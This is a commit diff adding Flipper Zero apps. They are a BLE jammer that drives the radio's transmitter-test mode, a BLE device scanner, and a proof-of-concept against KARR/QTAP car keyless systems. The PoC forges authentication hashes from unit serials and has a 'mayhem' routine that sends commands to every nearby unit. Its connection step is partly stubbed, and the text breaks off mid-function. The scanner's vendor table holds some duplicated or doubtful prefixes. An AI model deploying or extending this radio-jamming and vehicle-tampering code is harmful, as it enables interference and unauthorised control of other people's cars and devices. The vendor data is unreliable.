Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
56701a815b |
@@ -0,0 +1,13 @@
|
||||
App(
|
||||
appid="ble_jammer",
|
||||
name="BLE Jammer",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="ble_jammer_app",
|
||||
stack_size=1024,
|
||||
fap_icon="icon.png",
|
||||
fap_category="Bluetooth",
|
||||
fap_icon_assets="images",
|
||||
fap_author="W0rthlessS0ul (ported by d4rks1d3)",
|
||||
fap_weburl="https://github.com/W0rthlessS0ul/FZ_nRF24_jammer",
|
||||
fap_version="1.4.0",
|
||||
)
|
||||
@@ -0,0 +1,63 @@
|
||||
#include "hci_test.h"
|
||||
#include <string.h>
|
||||
|
||||
struct hci_request {
|
||||
uint16_t ogf;
|
||||
uint16_t ocf;
|
||||
int event;
|
||||
void* cparam;
|
||||
int clen;
|
||||
void* rparam;
|
||||
int rlen;
|
||||
};
|
||||
|
||||
extern int hci_send_req(struct hci_request* req, uint8_t async);
|
||||
|
||||
#define HCI_OGF_LE 0x08
|
||||
#define HCI_OCF_LE_TRANSMITTER_TEST 0x001E
|
||||
#define HCI_OCF_LE_TEST_END 0x001F
|
||||
|
||||
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type) {
|
||||
struct hci_request req;
|
||||
uint8_t params[3];
|
||||
uint8_t status;
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
params[0] = rf_channel;
|
||||
params[1] = 37;
|
||||
params[2] = packet_type;
|
||||
|
||||
req.ogf = HCI_OGF_LE;
|
||||
req.ocf = HCI_OCF_LE_TRANSMITTER_TEST;
|
||||
req.cparam = params;
|
||||
req.clen = sizeof(params);
|
||||
req.rparam = &status;
|
||||
req.rlen = 1;
|
||||
|
||||
if(hci_send_req(&req, 0) < 0) return -1;
|
||||
return (status == 0) ? 0 : -1;
|
||||
}
|
||||
|
||||
int hci_test_stop(void) {
|
||||
struct hci_request req;
|
||||
uint8_t resp[3];
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.ogf = HCI_OGF_LE;
|
||||
req.ocf = HCI_OCF_LE_TEST_END;
|
||||
req.cparam = NULL;
|
||||
req.clen = 0;
|
||||
req.rparam = resp;
|
||||
req.rlen = sizeof(resp);
|
||||
|
||||
if(hci_send_req(&req, 0) < 0) return -1;
|
||||
return (resp[0] == 0) ? 0 : -1;
|
||||
}
|
||||
|
||||
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch) {
|
||||
if(nrf24_ch < 2) return -1;
|
||||
int freq_mhz = 2400 + nrf24_ch;
|
||||
if(freq_mhz < 2402 || freq_mhz > 2480) return -1;
|
||||
*ble_ch = (nrf24_ch - 2) / 2;
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
int hci_test_tx_start(uint8_t rf_channel, uint8_t packet_type);
|
||||
int hci_test_stop(void);
|
||||
int hci_test_nrf24_to_ble_ch(uint8_t nrf24_ch, int* ble_ch);
|
||||
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 999 B |
|
After Width: | Height: | Size: 608 B |
|
After Width: | Height: | Size: 581 B |
|
After Width: | Height: | Size: 675 B |
|
After Width: | Height: | Size: 645 B |
|
After Width: | Height: | Size: 757 B |
|
After Width: | Height: | Size: 739 B |
|
After Width: | Height: | Size: 686 B |
|
After Width: | Height: | Size: 662 B |
|
After Width: | Height: | Size: 650 B |
|
After Width: | Height: | Size: 599 B |
|
After Width: | Height: | Size: 600 B |
|
After Width: | Height: | Size: 648 B |
|
After Width: | Height: | Size: 594 B |
|
After Width: | Height: | Size: 535 B |
|
After Width: | Height: | Size: 722 B |
|
After Width: | Height: | Size: 685 B |
@@ -0,0 +1,17 @@
|
||||
App(
|
||||
appid="ble_scanner",
|
||||
name="BLE Scanner",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="ble_scanner_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Bluetooth",
|
||||
fap_libs=["ble_central"],
|
||||
requires=["gui"],
|
||||
sources=[
|
||||
"ble_scanner.c",
|
||||
],
|
||||
fap_author="d4rks1d3",
|
||||
fap_weburl="https://github.com/d4rks1d3",
|
||||
fap_version="0.1",
|
||||
fap_description="Scan and display nearby BLE devices (phones, headphones, etc.)",
|
||||
)
|
||||
@@ -0,0 +1,444 @@
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
#include <lib/ble_central/ble_central.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "BleScanner"
|
||||
#define BLE_SCANNER_MAX_DEVICES 32
|
||||
#define BLE_SCANNER_NAME_MAX_LEN 32
|
||||
|
||||
typedef struct {
|
||||
uint32_t prefix;
|
||||
const char* vendor;
|
||||
} OuiEntry;
|
||||
|
||||
static const OuiEntry oui_table[] = {
|
||||
{0x70B5E8, "ZTE"},
|
||||
{0x8CD3A8, "Xiaomi"},
|
||||
{0x9CE338, "Xiaomi"},
|
||||
{0x48E7DA, "Xiaomi"},
|
||||
{0x04CF8C, "Xiaomi"},
|
||||
{0x6802B8, "Xiaomi"},
|
||||
{0xA4C138, "Xiaomi"},
|
||||
{0xF8A45F, "Xiaomi"},
|
||||
{0x30C6F7, "Xiaomi"},
|
||||
{0xCCE7DF, "Xiaomi"},
|
||||
{0xACA220, "Xiaomi"},
|
||||
{0x18A6F7, "Samsung"},
|
||||
{0x2C54CF, "Samsung"},
|
||||
{0x5CF9DD, "Samsung"},
|
||||
{0x8C8EF2, "Samsung"},
|
||||
{0x9C2A70, "Samsung"},
|
||||
{0xA40CC3, "Samsung"},
|
||||
{0xB8AD0E, "Samsung"},
|
||||
{0xCC3A61, "Samsung"},
|
||||
{0xE0B9BA, "Samsung"},
|
||||
{0xEC1FA6, "Samsung"},
|
||||
{0xF0B0E7, "Samsung"},
|
||||
{0x58500E, "Samsung"},
|
||||
{0x34C34C, "Samsung"},
|
||||
{0x3C7DB1, "Samsung"},
|
||||
{0xA88792, "Samsung"},
|
||||
{0xDC0B6C, "Samsung"},
|
||||
{0xE87DBD, "Samsung"},
|
||||
{0xAC5F3E, "Samsung"},
|
||||
{0x38C7BA, "Samsung"},
|
||||
{0x001122, "Apple"},
|
||||
{0x0025BC, "Apple"},
|
||||
{0x003065, "Apple"},
|
||||
{0x003F2E, "Apple"},
|
||||
{0x003F35, "Apple"},
|
||||
{0x00601C, "Apple"},
|
||||
{0x00719B, "Apple"},
|
||||
{0x00A040, "Apple"},
|
||||
{0x00D8E1, "Apple"},
|
||||
{0x04B133, "Apple"},
|
||||
{0x04E536, "Apple"},
|
||||
{0x08EBED, "Apple"},
|
||||
{0x0C3076, "Apple"},
|
||||
{0x0C9361, "Apple"},
|
||||
{0x10A932, "Apple"},
|
||||
{0x140D4F, "Apple"},
|
||||
{0x181F32, "Apple"},
|
||||
{0x1C36F3, "Apple"},
|
||||
{0x1C9272, "Apple"},
|
||||
{0x203565, "Apple"},
|
||||
{0x28CFE9, "Apple"},
|
||||
{0x2C200B, "Apple"},
|
||||
{0x2CF0A2, "Apple"},
|
||||
{0x30D366, "Apple"},
|
||||
{0x349A0D, "Apple"},
|
||||
{0x3820D1, "Apple"},
|
||||
{0x3C0754, "Apple"},
|
||||
{0x3CD0F8, "Apple"},
|
||||
{0x401D58, "Apple"},
|
||||
{0x44239C, "Apple"},
|
||||
{0x4843CD, "Apple"},
|
||||
{0x4C6B39, "Apple"},
|
||||
{0x54132F, "Apple"},
|
||||
{0x58676A, "Apple"},
|
||||
{0x5C34EF, "Apple"},
|
||||
{0x603B6E, "Apple"},
|
||||
{0x64A31B, "Apple"},
|
||||
{0x68AE20, "Apple"},
|
||||
{0x6C3BA1, "Apple"},
|
||||
{0x6C720E, "Apple"},
|
||||
{0x70D88E, "Apple"},
|
||||
{0x78A351, "Apple"},
|
||||
{0x7C11BE, "Apple"},
|
||||
{0x800017, "Apple"},
|
||||
{0x84968C, "Apple"},
|
||||
{0x88D51C, "Apple"},
|
||||
{0x8C8590, "Apple"},
|
||||
{0x8CDE52, "Apple"},
|
||||
{0x909FB9, "Apple"},
|
||||
{0x98FE94, "Apple"},
|
||||
{0xA095B0, "Apple"},
|
||||
{0xA4D1D2, "Apple"},
|
||||
{0xA8B84F, "Apple"},
|
||||
{0xB0487A, "Apple"},
|
||||
{0xB0B2DC, "Apple"},
|
||||
{0xB45987, "Apple"},
|
||||
{0xB89675, "Apple"},
|
||||
{0xBC1665, "Apple"},
|
||||
{0xC0B593, "Apple"},
|
||||
{0xC44B87, "Apple"},
|
||||
{0xC81A9E, "Apple"},
|
||||
{0xC8B5AD, "Apple"},
|
||||
{0xCC25EF, "Apple"},
|
||||
{0xD039B3, "Apple"},
|
||||
{0xD42C3A, "Apple"},
|
||||
{0xD44F82, "Apple"},
|
||||
{0xD8031F, "Apple"},
|
||||
{0xE062E6, "Apple"},
|
||||
{0xE0F5C6, "Apple"},
|
||||
{0xE8A7A7, "Apple"},
|
||||
{0xF0B0E8, "Apple"},
|
||||
{0xF0D1B9, "Apple"},
|
||||
{0xF47F35, "Apple"},
|
||||
{0xF8313E, "Apple"},
|
||||
{0xFC145E, "Apple"},
|
||||
{0xFC9F5E, "Apple"},
|
||||
{0xA03860, "Google"},
|
||||
{0x94885E, "Google"},
|
||||
{0x7483C2, "Google"},
|
||||
{0x643F5F, "Google"},
|
||||
{0x286AB8, "Google"},
|
||||
{0x1868CB, "Google"},
|
||||
{0x0CCD9F, "Google"},
|
||||
{0x60A4B7, "Google"},
|
||||
{0x14A764, "Google"},
|
||||
{0x8871E5, "Google"},
|
||||
{0x486C8C, "Google"},
|
||||
{0x24AB81, "Google"},
|
||||
{0x3C28A6, "Google"},
|
||||
{0xD0E178, "Google"},
|
||||
{0x2C5BE7, "Google"},
|
||||
{0x28B0CC, "Google"},
|
||||
{0x94A7B7, "Google"},
|
||||
{0xA44E2F, "Google"},
|
||||
{0x5C8FE6, "Google"},
|
||||
{0x3898D8, "Google"},
|
||||
{0x9CADEF, "Google"},
|
||||
{0x5859D5, "Google"},
|
||||
{0x30C7AE, "Google"},
|
||||
{0x18DED7, "Google"},
|
||||
{0x24A642, "Google"},
|
||||
{0x70781E, "Google"},
|
||||
{0x5C639C, "Google"},
|
||||
{0xD089E2, "Google"},
|
||||
{0x54E1AD, "Google"},
|
||||
{0x00C538, "Huawei"},
|
||||
{0x34C9F0, "Huawei"},
|
||||
{0x0C5A9B, "Huawei"},
|
||||
{0xCCF1A0, "Huawei"},
|
||||
{0x3075B0, "Huawei"},
|
||||
{0x18E7F4, "Huawei"},
|
||||
{0xFCBDE8, "Huawei"},
|
||||
{0xF8CEBA, "Huawei"},
|
||||
{0x98039B, "Huawei"},
|
||||
{0x704834, "Huawei"},
|
||||
{0x50B8A2, "Huawei"},
|
||||
{0x44D9E7, "Huawei"},
|
||||
{0xD46A10, "Huawei"},
|
||||
{0x00EDB9, "Sony"},
|
||||
{0x18264E, "Sony"},
|
||||
{0x2053CA, "Sony"},
|
||||
{0x4C0F9E, "Sony"},
|
||||
{0x5C515E, "Sony"},
|
||||
{0x700BC7, "Sony"},
|
||||
{0x9019D9, "Sony"},
|
||||
{0xF44B2A, "Sony"},
|
||||
{0xFCA59C, "Sony"},
|
||||
{0x385E9B, "Sony"},
|
||||
{0x5C9AD8, "Sony"},
|
||||
{0x2CAB25, "Sony"},
|
||||
{0x3816D1, "Sony"},
|
||||
{0x5863F6, "Sony"},
|
||||
{0x5084C2, "Sony"},
|
||||
{0x68DB54, "Sony"},
|
||||
{0x001CDF, "OnePlus"},
|
||||
{0x00503D, "Intel"},
|
||||
{0x00237B, "Intel"},
|
||||
{0x0030D7, "Motorola"},
|
||||
{0x00D0A9, "LG"},
|
||||
{0x886B76, "LG"},
|
||||
{0x482C71, "LG"},
|
||||
{0xC8F733, "LG"},
|
||||
{0x38B12D, "LG"},
|
||||
{0x9815A4, "LG"},
|
||||
{0xECF236, "LG"},
|
||||
{0x605718, "LG"},
|
||||
{0x682C7B, "LG"},
|
||||
{0x4851B7, "Bose"},
|
||||
{0x042C97, "Bose"},
|
||||
{0x00A050, "Bose"},
|
||||
{0x74EF7E, "Bose"},
|
||||
{0xF872EA, "Bose"},
|
||||
{0x382565, "Bose"},
|
||||
{0x00E06C, "JBL/Harman"},
|
||||
{0x2CDD0C, "JBL/Harman"},
|
||||
{0x64A6E6, "JBL/Harman"},
|
||||
{0x8C6B97, "JBL/Harman"},
|
||||
{0xF81D93, "JBL/Harman"},
|
||||
{0x38F7D2, "JBL/Harman"},
|
||||
{0x504A5E, "JBL/Harman"},
|
||||
{0xE039D7, "JBL/Harman"},
|
||||
{0x34DF2A, "Sennheiser"},
|
||||
{0x1CE63B, "Sennheiser"},
|
||||
{0x001C4A, "Plantronics"},
|
||||
{0x5C4A9E, "Plantronics"},
|
||||
{0x6C8336, "Plantronics"},
|
||||
{0x801F02, "Plantronics"},
|
||||
{0x00D02D, "Nest/Google"},
|
||||
{0x18B430, "Nest/Google"},
|
||||
{0x64DBA0, "Nest/Google"},
|
||||
{0x7CC5A1, "Nest/Google"},
|
||||
{0xB839D4, "Nest/Google"},
|
||||
{0x00258A, "Roku"},
|
||||
{0x00A0D2, "Roku"},
|
||||
{0x005AA0, "Roku"},
|
||||
{0x38062C, "Roku"},
|
||||
{0x400B20, "Roku"},
|
||||
{0x9CEBE8, "Roku"},
|
||||
{0x0025E0, "Raspberry Pi"},
|
||||
{0xB827EB, "Raspberry Pi"},
|
||||
{0xDCA632, "Raspberry Pi"},
|
||||
{0xE45F01, "Raspberry Pi"},
|
||||
{0x287184, "Fitbit"},
|
||||
{0x48D638, "Fitbit"},
|
||||
{0x68372D, "Fitbit"},
|
||||
{0x883AA3, "Fitbit"},
|
||||
{0xAAF191, "Fitbit"},
|
||||
{0xD8DCB5, "Fitbit"},
|
||||
{0x00D8D7, "Garmin"},
|
||||
{0x182666, "Garmin"},
|
||||
{0x4C8AEE, "Garmin"},
|
||||
{0x5C3A6D, "Garmin"},
|
||||
{0x447E95, "Garmin"},
|
||||
{0x68572D, "Garmin"},
|
||||
{0x6C88D5, "Garmin"},
|
||||
{0x90CF33, "Garmin"},
|
||||
{0xB815F0, "Garmin"},
|
||||
{0xB8921D, "Garmin"},
|
||||
{0x0023AE, "Nokia"},
|
||||
{0x644BC7, "Nokia"},
|
||||
{0x14B17C, "Nokia"},
|
||||
{0x289124, "Nokia"},
|
||||
{0x482C6C, "Nokia"},
|
||||
{0x4C3463, "Nokia"},
|
||||
{0x802CA5, "Nokia"},
|
||||
{0x84261F, "Nokia"},
|
||||
{0x8C4D3E, "Nokia"},
|
||||
{0xBC6373, "Nokia"},
|
||||
{0xC8628B, "Nokia"},
|
||||
{0x08229B, "Oculus/Meta"},
|
||||
{0xCCA52A, "Oculus/Meta"},
|
||||
{0x0CD6BD, "Oculus/Meta"},
|
||||
{0x3871C5, "Oculus/Meta"},
|
||||
{0xFC5CEF, "Oculus/Meta"},
|
||||
{0x6CB06E, "Oculus/Meta"},
|
||||
{0xE020E0, "Oculus/Meta"},
|
||||
{0x3010A4, "Oculus/Meta"},
|
||||
{0x00140A, "Microsoft"},
|
||||
{0x00061B, "Microsoft"},
|
||||
{0x0025AE, "Microsoft"},
|
||||
{0x04A316, "Microsoft"},
|
||||
{0x181804, "Microsoft"},
|
||||
{0x1C6568, "Microsoft"},
|
||||
{0x287184, "Microsoft"},
|
||||
{0x44DF65, "Microsoft"},
|
||||
{0x48D6D5, "Microsoft"},
|
||||
{0x503EAA, "Microsoft"},
|
||||
{0x60C5A8, "Microsoft"},
|
||||
{0x64167F, "Microsoft"},
|
||||
{0x7C1E52, "Microsoft"},
|
||||
{0x8490AD, "Microsoft"},
|
||||
{0x986DC0, "Microsoft"},
|
||||
{0xA088B4, "Microsoft"},
|
||||
{0x38700C, "TP-Link"},
|
||||
{0x50C7BF, "TP-Link"},
|
||||
{0x64D98B, "TP-Link"},
|
||||
{0x84D46B, "TP-Link"},
|
||||
{0xC02506, "TP-Link"},
|
||||
{0xEC2280, "TP-Link"},
|
||||
{0x001848, "Espressif"},
|
||||
{0x18FE34, "Espressif"},
|
||||
{0x24B2DE, "Espressif"},
|
||||
{0x24E7C5, "Espressif"},
|
||||
{0x24818D, "Espressif"},
|
||||
{0x30AEA4, "Espressif"},
|
||||
{0x3C71BF, "Espressif"},
|
||||
{0x40F520, "Espressif"},
|
||||
{0x5CE3B6, "Espressif"},
|
||||
{0x68C63A, "Espressif"},
|
||||
{0x84CCA8, "Espressif"},
|
||||
{0x84F3EB, "Espressif"},
|
||||
{0x8C2DAA, "Espressif"},
|
||||
{0x8C7B9D, "Espressif"},
|
||||
{0xA4611B, "Espressif"},
|
||||
{0xAC67B2, "Espressif"},
|
||||
{0xB4E62D, "Espressif"},
|
||||
{0xC8F09E, "Espressif"},
|
||||
{0xCC50E3, "Espressif"},
|
||||
{0xDC4F22, "Espressif"},
|
||||
{0xE0B9A5, "Espressif"},
|
||||
{0xECFA5C, "Espressif"},
|
||||
{0xF4CFA2, "Espressif"},
|
||||
};
|
||||
|
||||
static const char* ble_scanner_lookup_oui(const uint8_t* addr) {
|
||||
uint32_t prefix = ((uint32_t)addr[0] << 16) | ((uint32_t)addr[1] << 8) | addr[2];
|
||||
for(size_t i = 0; i < COUNT_OF(oui_table); i++) {
|
||||
if(oui_table[i].prefix == prefix) return oui_table[i].vendor;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char name[BLE_SCANNER_NAME_MAX_LEN];
|
||||
uint8_t address[6];
|
||||
int8_t rssi;
|
||||
uint8_t address_type;
|
||||
} BleScannerDevice;
|
||||
|
||||
typedef enum {
|
||||
BleScannerView_Submenu,
|
||||
BleScannerView_TextBox,
|
||||
} BleScannerView;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
Submenu* submenu;
|
||||
TextBox* text_box;
|
||||
|
||||
BleScannerDevice devices[BLE_SCANNER_MAX_DEVICES];
|
||||
size_t device_count;
|
||||
|
||||
FuriString* log_text;
|
||||
} BleScannerApp;
|
||||
|
||||
static void ble_scanner_central_callback(BleCentralEventType event, void* device, void* context) {
|
||||
BleScannerApp* app = context;
|
||||
|
||||
if(event == BleCentralEventDeviceFound) {
|
||||
BleCentralAdvertisedDevice* adv = device;
|
||||
if(app->device_count < BLE_SCANNER_MAX_DEVICES) {
|
||||
BleScannerDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, adv->name, BLE_SCANNER_NAME_MAX_LEN - 1);
|
||||
dev->name[BLE_SCANNER_NAME_MAX_LEN - 1] = '\0';
|
||||
memcpy(dev->address, adv->address, 6);
|
||||
dev->rssi = adv->rssi;
|
||||
dev->address_type = adv->address_type;
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static bool ble_scanner_back_event_callback(void* context) {
|
||||
UNUSED(context);
|
||||
return false;
|
||||
}
|
||||
|
||||
static BleScannerApp* ble_scanner_app_alloc(void) {
|
||||
BleScannerApp* app = malloc(sizeof(BleScannerApp));
|
||||
memset(app, 0, sizeof(BleScannerApp));
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, ble_scanner_back_event_callback);
|
||||
|
||||
app->submenu = submenu_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_Submenu, submenu_get_view(app->submenu));
|
||||
|
||||
app->text_box = text_box_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, BleScannerView_TextBox, text_box_get_view(app->text_box));
|
||||
|
||||
app->log_text = furi_string_alloc();
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void ble_scanner_app_free(BleScannerApp* app) {
|
||||
furi_string_free(app->log_text);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_Submenu);
|
||||
submenu_free(app->submenu);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
text_box_free(app->text_box);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t ble_scanner_app(void* p) {
|
||||
UNUSED(p);
|
||||
BleScannerApp* app = ble_scanner_app_alloc();
|
||||
|
||||
submenu_set_header(app->submenu, "BLE Scanner");
|
||||
submenu_add_item(app->submenu, "Scan for devices", 0, NULL, NULL);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_Submenu);
|
||||
|
||||
app->device_count = 0;
|
||||
|
||||
bool ok = ble_central_scan_start(ble_scanner_central_callback, app);
|
||||
if(!ok) {
|
||||
furi_string_set_str(app->log_text, "ERROR: scan start failed!\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
ble_scanner_app_free(app);
|
||||
return 0;
|
||||
}
|
||||
|
||||
furi_delay_ms(4000);
|
||||
ble_central_scan_stop();
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
furi_string_cat_printf(app->log_text, "Found %zu devices:\n\n", app->device_count);
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
BleScannerDevice* dev = &app->devices[i];
|
||||
const char* vendor = ble_scanner_lookup_oui(dev->address);
|
||||
if(dev->name[0]) {
|
||||
furi_string_cat_printf(app->log_text, "%zu. %s\n", i + 1, dev->name);
|
||||
} else if(vendor) {
|
||||
furi_string_cat_printf(app->log_text, "%zu. [%s device]\n", i + 1, vendor);
|
||||
} else {
|
||||
furi_string_cat_printf(app->log_text, "%zu. (no name)\n", i + 1);
|
||||
}
|
||||
furi_string_cat_printf(app->log_text, " RSSI: %d\n\n", dev->rssi);
|
||||
}
|
||||
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
ble_scanner_app_free(app);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
App(
|
||||
appid="karr_poc_flipper",
|
||||
name="KARR BLE PoC",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="karr_poc_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Bluetooth",
|
||||
fap_libs=["ble_central"],
|
||||
requires=["gui"],
|
||||
sources=[
|
||||
"karr_poc.c",
|
||||
"scenes/karr_poc_scene.c",
|
||||
"scenes/karr_poc_scene_start.c",
|
||||
"scenes/karr_poc_scene_scan.c",
|
||||
"scenes/karr_poc_scene_device_menu.c",
|
||||
"scenes/karr_poc_scene_auth.c",
|
||||
"scenes/karr_poc_scene_result.c",
|
||||
"scenes/karr_poc_scene_mayhem_menu.c",
|
||||
"scenes/karr_poc_scene_mayhem_confirm.c",
|
||||
"scenes/karr_poc_scene_mayhem_scan.c",
|
||||
"scenes/karr_poc_scene_mayhem_run.c",
|
||||
"helpers/karr_ble.c",
|
||||
"helpers/qt_auth.c",
|
||||
"helpers/qt_protocol.c",
|
||||
],
|
||||
fap_version="0.1",
|
||||
fap_description="KARR/QTAP remote keyless system PoC",
|
||||
)
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "karr_ble.h"
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
#include "ble_central.h"
|
||||
|
||||
#define TAG "KarrBle"
|
||||
|
||||
typedef struct {
|
||||
KarrBleStatusCallback scan_callback;
|
||||
void* scan_context;
|
||||
bool scanning;
|
||||
bool connected;
|
||||
char unit_serial[KARR_BLE_NAME_MAX_LEN];
|
||||
uint8_t hash[QT_HASH_OUT_LEN];
|
||||
} KarrBle;
|
||||
|
||||
static KarrBle* karr_ble = NULL;
|
||||
|
||||
static void karr_ble_on_central_event(BleCentralEventType event, void* data, void* context) {
|
||||
UNUSED(context);
|
||||
if(!karr_ble) return;
|
||||
|
||||
switch(event) {
|
||||
case BleCentralEventDeviceFound: {
|
||||
BleCentralAdvertisedDevice* dev = (BleCentralAdvertisedDevice*)data;
|
||||
if(karr_ble->scan_callback) {
|
||||
karr_ble->scan_callback(
|
||||
KarrBleStatus_DeviceFound, dev->name, karr_ble->scan_context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case BleCentralEventGattProcComplete: {
|
||||
if(karr_ble->scanning && karr_ble->scan_callback) {
|
||||
karr_ble->scan_callback(
|
||||
KarrBleStatus_ScanStarted, "Discovery complete", karr_ble->scan_context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context) {
|
||||
if(!karr_ble) {
|
||||
karr_ble = malloc(sizeof(KarrBle));
|
||||
}
|
||||
if(karr_ble->scanning) return false;
|
||||
|
||||
karr_ble->scan_callback = callback;
|
||||
karr_ble->scan_context = context;
|
||||
karr_ble->scanning = true;
|
||||
|
||||
if(!ble_central_scan_start(karr_ble_on_central_event, karr_ble)) {
|
||||
karr_ble->scanning = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if(callback) callback(KarrBleStatus_ScanStarted, "Scanning...", context);
|
||||
return true;
|
||||
}
|
||||
|
||||
void karr_ble_scan_stop(void) {
|
||||
if(!karr_ble || !karr_ble->scanning) return;
|
||||
ble_central_scan_stop();
|
||||
karr_ble->scanning = false;
|
||||
karr_ble->scan_callback = NULL;
|
||||
karr_ble->scan_context = NULL;
|
||||
}
|
||||
|
||||
bool karr_ble_connect_and_auth(
|
||||
const KarrBleDevice* device,
|
||||
QtMode mode,
|
||||
KarrBleStatusCallback callback,
|
||||
void* context) {
|
||||
furi_assert(device);
|
||||
|
||||
FURI_LOG_I(TAG, "connect_and_auth to '%s' (STUB)", device->name);
|
||||
strncpy(karr_ble->unit_serial, device->name, sizeof(karr_ble->unit_serial) - 1);
|
||||
karr_ble->unit_serial[sizeof(karr_ble->unit_serial) - 1] = '\0';
|
||||
|
||||
if(callback) callback(KarrBleStatus_Connecting, device->name, context);
|
||||
karr_ble->connected = true;
|
||||
if(callback) callback(KarrBleStatus_Connected, "Connected", context);
|
||||
if(callback) callback(KarrBleStatus_ServiceDiscovered, "Service+Char OK", context);
|
||||
|
||||
uint8_t frame_buf[QT_MAX_FRAME_LEN];
|
||||
size_t frame_len;
|
||||
|
||||
frame_len = qt_protocol_generate(QtCmd_AuthInit, NULL, 0, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX Auth_Init (%zu bytes)", frame_len);
|
||||
if(callback) callback(KarrBleStatus_AuthInitSent, "0x22 sent", context);
|
||||
|
||||
uint8_t fake_challenge[QT_CHALLENGE_LEN] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
|
||||
char challenge_msg[32];
|
||||
snprintf(
|
||||
challenge_msg,
|
||||
sizeof(challenge_msg),
|
||||
"%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
fake_challenge[0], fake_challenge[1], fake_challenge[2], fake_challenge[3],
|
||||
fake_challenge[4], fake_challenge[5], fake_challenge[6], fake_challenge[7]);
|
||||
if(callback) callback(KarrBleStatus_ChallengeReceived, challenge_msg, context);
|
||||
|
||||
bool hash_ok = qt_generate_hash(mode, fake_challenge, karr_ble->unit_serial, karr_ble->hash);
|
||||
if(!hash_ok) {
|
||||
FURI_LOG_E(TAG, "qt_generate_hash failed");
|
||||
if(callback) callback(KarrBleStatus_Error, "Invalid serial for this mode", context);
|
||||
return false;
|
||||
}
|
||||
|
||||
frame_len = qt_protocol_generate(
|
||||
QtCmd_AuthResponse, karr_ble->hash, QT_HASH_OUT_LEN, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX Auth_Response (%zu bytes)", frame_len);
|
||||
if(callback) callback(KarrBleStatus_AuthResponseSent, "0x0F sent", context);
|
||||
if(callback) callback(KarrBleStatus_AuthSuccess, "0x10 received", context);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool karr_ble_send_command(QtCommand command) {
|
||||
if(!karr_ble || !karr_ble->connected) {
|
||||
FURI_LOG_E(TAG, "send_command without connection/auth");
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t frame_buf[QT_MAX_FRAME_LEN];
|
||||
size_t frame_len = qt_protocol_generate(command, NULL, 0, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX command 0x%02x (%zu bytes)", command, frame_len);
|
||||
return frame_len > 0;
|
||||
}
|
||||
|
||||
void karr_ble_disconnect(void) {
|
||||
if(!karr_ble) return;
|
||||
FURI_LOG_I(TAG, "disconnect (STUB)");
|
||||
karr_ble->connected = false;
|
||||
}
|
||||
|
||||
void karr_ble_mayhem_run(
|
||||
const KarrBleDevice* devices,
|
||||
size_t device_count,
|
||||
QtMode mode,
|
||||
QtCommand command,
|
||||
KarrMayhemDeviceCallback callback,
|
||||
void* context) {
|
||||
for(size_t i = 0; i < device_count; i++) {
|
||||
const KarrBleDevice* dev = &devices[i];
|
